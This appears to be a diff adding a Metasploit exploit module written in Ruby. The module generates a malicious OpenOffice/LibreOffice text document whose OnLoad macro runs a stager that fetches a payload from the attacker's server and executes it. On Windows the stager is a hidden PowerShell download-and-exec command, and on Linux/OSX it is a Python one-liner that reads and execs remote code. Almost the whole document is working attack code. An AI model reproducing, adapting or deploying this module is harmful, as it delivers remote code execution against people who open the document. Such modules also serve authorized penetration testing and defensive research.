|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex/zip' |
| 8 | +require 'cgi' |
| 9 | + |
| 10 | +class MetasploitModule < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::FILEFORMAT |
| 14 | + include Msf::Exploit::Powershell |
| 15 | + include Msf::Exploit::Remote::HttpServer |
| 16 | + |
| 17 | + WINDOWSGUI = 'windows' |
| 18 | + OSXGUI = 'osx' |
| 19 | + LINUXGUI = 'linux' |
| 20 | + |
| 21 | + def initialize(info={}) |
| 22 | + super(update_info(info, |
| 23 | + 'Name' => "Apache OpenOffice Text Document Malicious Macro Execution", |
| 24 | + 'Description' => %q{ |
| 25 | + This module generates an Apache OpenOffice Text Document with a malicious macro in it. |
| 26 | + For exploit successfully, the targeted user must adjust the security level in Macro |
| 27 | + Security to either Medium or Low. If set to Medium, a prompt is presented to the user |
| 28 | + to enable or disable the macro. If set to Low, the macro can automatically run without |
| 29 | + any warning. |
| 30 | +
|
| 31 | + The module also works against LibreOffice. |
| 32 | + }, |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'Author' => |
| 35 | + [ |
| 36 | + 'sinn3r' # Metasploit |
| 37 | + ], |
| 38 | + 'References' => |
| 39 | + [ |
| 40 | + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] |
| 41 | + ], |
| 42 | + 'DefaultOptions' => |
| 43 | + { |
| 44 | + 'EXITFUNC' => 'thread', |
| 45 | + 'DisablePayloadHandler' => false |
| 46 | + }, |
| 47 | + 'Targets' => |
| 48 | + [ |
| 49 | + [ |
| 50 | + 'Apache OpenOffice on Windows (PSH)', { |
| 51 | + 'Platform' => 'win', |
| 52 | + 'Arch' => [ARCH_X86, ARCH_X64] |
| 53 | + }], |
| 54 | + [ |
| 55 | + 'Apache OpenOffice on Linux/OSX (Python)', { |
| 56 | + 'Platform' => 'python', |
| 57 | + 'Arch' => ARCH_PYTHON |
| 58 | + }] |
| 59 | + ], |
| 60 | + 'Privileged' => false, |
| 61 | + 'DisclosureDate' => "Feb 8 2017" |
| 62 | + )) |
| 63 | + |
| 64 | + register_options([ |
| 65 | + OptString.new("BODY", [false, 'The message for the document body', '']), |
| 66 | + OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) |
| 67 | + ], self.class) |
| 68 | + end |
| 69 | + |
| 70 | + |
| 71 | + def on_request_uri(cli, req) |
| 72 | + print_status("Sending payload") |
| 73 | + |
| 74 | + if target.name =~ /PSH/ |
| 75 | + p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true) |
| 76 | + else |
| 77 | + p = payload.encoded |
| 78 | + end |
| 79 | + |
| 80 | + send_response(cli, p, 'Content-Type' => 'application/octet-stream') |
| 81 | + end |
| 82 | + |
| 83 | + |
| 84 | + def primer |
| 85 | + print_status("Generating our odt file for #{target.name}...") |
| 86 | + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro') |
| 87 | + docm = package_odt(path) |
| 88 | + file_create(docm) |
| 89 | + end |
| 90 | + |
| 91 | + |
| 92 | + def get_windows_stager |
| 93 | + %Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")| |
| 94 | + end |
| 95 | + |
| 96 | + |
| 97 | + def get_unix_stager |
| 98 | + %Q|Shell("#{generate_python_stager}")| |
| 99 | + end |
| 100 | + |
| 101 | + |
| 102 | + def generate_psh_stager |
| 103 | + @windows_psh_stager ||= lambda { |
| 104 | + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl |
| 105 | + download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) |
| 106 | + download_and_run = "#{ignore_cert}#{download_string}" |
| 107 | + generate_psh_command_line( |
| 108 | + noprofile: true, |
| 109 | + windowstyle: 'hidden', |
| 110 | + command: download_and_run) |
| 111 | + }.call |
| 112 | + end |
| 113 | + |
| 114 | + |
| 115 | + def generate_python_stager |
| 116 | + @python_stager ||= lambda { |
| 117 | + %Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""| |
| 118 | + }.call |
| 119 | + end |
| 120 | + |
| 121 | + |
| 122 | + def get_statger |
| 123 | + case target.name |
| 124 | + when /PSH/ |
| 125 | + get_windows_stager |
| 126 | + when /Python/ |
| 127 | + get_unix_stager |
| 128 | + end |
| 129 | + end |
| 130 | + |
| 131 | + |
| 132 | + # This macro code has the following in mind: |
| 133 | + # 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX, |
| 134 | + # we only want to fire at those. |
| 135 | + # 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it. |
| 136 | + # This turned out to be problematic, because for some reason OpenOffice is not able to |
| 137 | + # write a large string to a file (I've tried either shell("echo") or using the macro API). |
| 138 | + # The stager code is similar to web_delivery. |
| 139 | + def macro_code |
| 140 | + CGI.escapeHTML(%Q| |
| 141 | + Sub OnLoad |
| 142 | + Dim os as string |
| 143 | + os = GetOS |
| 144 | + If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then |
| 145 | + Exploit |
| 146 | + end If |
| 147 | + End Sub |
| 148 | +
|
| 149 | + Sub Exploit |
| 150 | + #{get_statger} |
| 151 | + End Sub |
| 152 | +
|
| 153 | + Function GetOS() as string |
| 154 | + select case getGUIType |
| 155 | + case 1: |
| 156 | + GetOS = "#{WINDOWSGUI}" |
| 157 | + case 3: |
| 158 | + GetOS = "#{OSXGUI}" |
| 159 | + case 4: |
| 160 | + GetOS = "#{LINUXGUI}" |
| 161 | + end select |
| 162 | + End Function |
| 163 | +
|
| 164 | + Function GetExtName() as string |
| 165 | + select case GetOS |
| 166 | + case "#{WINDOWSGUI}" |
| 167 | + GetFileName = "exe" |
| 168 | + case else |
| 169 | + GetFileName = "bin" |
| 170 | + end select |
| 171 | + End Function |
| 172 | + |) |
| 173 | + end |
| 174 | + |
| 175 | + def on_file_read(short_fname, full_fname) |
| 176 | + buf = File.read(full_fname) |
| 177 | + |
| 178 | + case short_fname |
| 179 | + when /content\.xml/ |
| 180 | + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) |
| 181 | + when /Module1\.xml/ |
| 182 | + buf.gsub!(/CODEGOESHERE/, macro_code) |
| 183 | + end |
| 184 | + |
| 185 | + yield short_fname, buf |
| 186 | + end |
| 187 | + |
| 188 | + |
| 189 | + def package_odt(path) |
| 190 | + zip = Rex::Zip::Archive.new |
| 191 | + |
| 192 | + Dir["#{path}/**/**"].each do |file| |
| 193 | + p = file.sub(path+'/','') |
| 194 | + |
| 195 | + if File.directory?(file) |
| 196 | + print_status("Packaging directory: #{file}") |
| 197 | + zip.add_file(p) |
| 198 | + else |
| 199 | + on_file_read(p, file) do |fname, buf| |
| 200 | + print_status("Packaging file: #{fname}") |
| 201 | + zip.add_file(fname, buf) |
| 202 | + end |
| 203 | + end |
| 204 | + end |
| 205 | + |
| 206 | + zip.pack |
| 207 | + end |
| 208 | + |
| 209 | + |
| 210 | + def exploit |
| 211 | + super |
| 212 | + end |
| 213 | + |
| 214 | +end |
0 commit comments